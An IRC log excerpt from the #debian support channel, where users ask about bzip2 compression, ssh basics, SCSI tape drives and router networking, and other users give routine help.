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| 23:49.24 | King_Andy | dvm: how do i do that? |
| 23:49.40 | math1236 | how would I add another RSA host key for ssh? my box has 2 distros on it, and I switch between them often |
| 23:50.03 | dvm1981 | King_Andy: Do it on pastebin, we see it there... |
| 23:50.11 | Azar | Stargazers: sorry for the confusion, I just did not see the module for S3, I guess it will be just a vesa |
| 23:50.13 | dvm1981 | http://pastebin.ca/ |
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| 23:50.22 | King_Andy | dvm: might i add i am on my laptop for IRC while trying to get the desktop to run linux? |
| 23:50.34 | Red_Cloud | chealer, I had tried to install with force with apt-get and dpkg. Tried all sorts of upgrade stuff with no cigars. but the overwrite with install and force did the trick |
| 23:50.47 | Stargazers | Oh, I do not have any ideas about VESA or that kind of things :) Propably it is |
| 23:50.57 | Azar | hmm or savage |
| 23:51.16 | Stargazers | Well, I can't know. |
| 23:51.28 | threat | who here has setup a SCSI tape drive before? |
| 23:51.28 | dvm1981 | King_Andy: So you're doing and ssh connection to that other computer? |
| 23:51.31 | threat | I need some pointers |
| 23:51.45 | unstable | How do I take a directory, and compress it with bzip2...I know how to do it with tar/gzip.. it would be tar -c /directory|gzip -9 &> compressed.tar.gz , but how do I do it with bzip2? |
| 23:51.45 | dvm1981 | King_Andy: I not understand? |
| 23:51.54 | threat | oh and it is withinin topic, as I will be doing this on a Debian machine :) so any ideas of what debain packages I would need too ? |
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| 23:52.32 | King_Andy | dvm: i am trying to run KDE on the desktop computer, and that is DC to the router for internet for now |
| 23:52.39 | King_Andy | i am on my laptop for support |
| 23:52.51 | King_Andy | which is on the wireless network |
| 23:53.03 | King_Andy | is that what you didnt get? |
| 23:53.18 | King_Andy | or do i not get your question, and we are both lost? :-p |
| 23:53.20 | dvm1981 | King_Andy: DC? |
| 23:53.29 | King_Andy | direct connect |
| 23:53.32 | King_Andy | eternet cord |
| 23:53.44 | King_Andy | ether* |
| 23:53.45 | dvm1981 | King_Andy: Sorry, english is not my native language, i try to decrypt it :-/ |
| 23:53.49 | mindframe | what package is lpd part of? |
| 23:53.51 | King_Andy | lol, its okay |
| 23:54.14 | unstable | K 2 |
| 23:54.19 | chealer9 | unstable: bzip2 compresses files, not directories |
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| 23:55.05 | dvm1981 | King_Andy: We are lost :-/ Or i'm |
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| 23:55.15 | unstable | chealer9: How do I compress a file with bzip2? |
| 23:55.19 | King_Andy | i think we are both :) |
| 23:55.22 | King_Andy | lol |
| 23:55.34 | chealer9 | unstable: hum...man bzip2? |
| 23:55.44 | dvm1981 | King_Andy: Try to do from you're that work an ssh connection to that other one computer. |
| 23:55.45 | wols | unstable: you do that very complicatedly with gzip: tar -cvzf would do it for you. tar -cvjf does with with bzip2 |
| 23:56.00 | King_Andy | what is ssh? |
| 23:56.07 | dvm1981 | King_Andy: (missing word)... computer ... |
| 23:56.25 | Stargazers | King_Andy: Secured Shell |
| 23:56.29 | dvm1981 | King_Andy: Secure shell connection |
| 23:56.30 | wols | King_Andy: ssh is like telnet but secure. gets you a shell on another computer |
| 23:56.36 | King_Andy | ahhh i dont know how! |
| 23:56.49 | Stargazers | Don't know how what? |
| 23:56.50 | dvm1981 | King_Andy: In you're case, i think you need it! |
| 23:56.53 | King_Andy | bare with me, ima self declared noob |
| 23:56.56 | Azar | King_Andy: read the manual and learn: http://www.debian.org/doc/manuals/debian-tutorial/index.html#contents |
| 23:56.58 | gpm | hi guys. here's the deal: when i start up the computer, the ip in ifconfig is 169.254.68.135, but since this box is a router, it ought to be something like 192.168.1.1xy, so i try /etc/init.d/networking restart and this results in the internet not working anymore (networking goes down, can't ping 255.255.255.255) and i have to reboot to be able to connect to anything but computers connected to the router (though i do get a nice 192.168.1.1xy i |
| 23:56.59 | gpm | p address in exchange). this happens if i'm using a dhcp or static setup in /etc/network/interfaces...any clues at all would be really really helpful. the router's a (sigh) linksys |
| 23:56.59 | jml6 | ssh user@address |
| 23:57.14 | threat3 | any ideas? |
| 23:57.16 | dvm1981 | King_Andy: Because you can not work on that other one, so you can work on it from distance, verry userfull |
| 23:57.18 | *** join/#debian prock (n=prock@192.234.226.2) |
| 23:57.18 | *** join/#debian lekvar (n=lekvar@ppp-71-139-28-132.dsl.snfc21.pacbell.net) |
| 23:57.46 | dvm1981 | King_Andy: Comme, begining to learn .... 'ssh <computer_name_or_ip>' |
| 23:57.50 | wols | gpm: edit your /etc/network/interfaces properly, use static IP for the local ethernet interface |
| 23:57.52 | mindframe | can someone post their default sources.list? stupid hosting company erased the defaults. |
| 23:57.52 | sm00f | im looking for a package that watches logs and sends notfications on alarms, any recommendations? |
| 23:57.58 | *** join/#debian ichigo-san (i=onizuka@24-181-82-245.dhcp.mtgm.al.charter.com) |
| 23:58.03 | wols | mindframe: run apt-setup |
| 23:58.05 | Azar | threat3: sorry I could not see your question can you repeat? is too much noise here |
| 23:58.19 | gpm | wols: i did..i can pastebin my /etc/network/interfaces if you want proof |
| 23:58.19 | *** join/#debian bonez39 (n=aint@c-67-166-77-14.hsd1.ut.comcast.net) |
| 23:58.26 | *** join/#debian starfishy (n=crh@dsl027-179-236.sfo1.dsl.speakeasy.net) |
| 23:58.26 | wols | gpm: sure do it |
| 23:58.39 | bonez39 | anyone know where the linux-sxs room would be? ... |
| 23:58.43 | wols | gpm: but if it's the right setting in there, your ethX will use it, trust me |
| 23:58.56 | curt | mindframe, /join #flood |
| 23:59.03 | lekvar | Is dpkg broken? |
| 23:59.06 | wols | bonez39: go to netsplit.de and search for it |
| 23:59.06 | *** join/#debian blakkino (i=lorenzo@host108-218.pool8254.interbusiness.it) |
| 23:59.08 | lekvar | (the bot) |
| 23:59.09 | wols | lekvar: yes |
| 23:59.09 | dvm1981 | King_Andy: I hope that i have not confuse you :-/ |
| 23:59.17 | *** join/#debian Systemadmin (n=systemad@d-65-175-252-65.metrocast.net) |
| 23:59.22 | dvm1981 | King_Andy: If needed, i try it again from scratch |
| 23:59.26 | Systemadmin | anyone good with php? |
| 23:59.31 | gpm | http://channels.debian.net/paste/1937 |
| 23:59.32 | Daedalus_ | !beer wols |
| 23:59.35 | Stargazers | Systemadmin: How good?` |
| 23:59.36 | Azar | Systemadmin: this is #debian |
| 23:59.43 | King_Andy | im trying to remember my ip, im forgetting one number |
| 23:59.45 | SerajewelKS | Systemadmin: #php |
| 23:59.45 | Systemadmin | Azar : duh |
| 23:59.46 | wols | Systemadmin: ##php surely is |
| 23:59.48 | Daedalus_ | wols: Badgers? |
| 23:59.54 | Systemadmin | SerajewelKS: Aleready there |
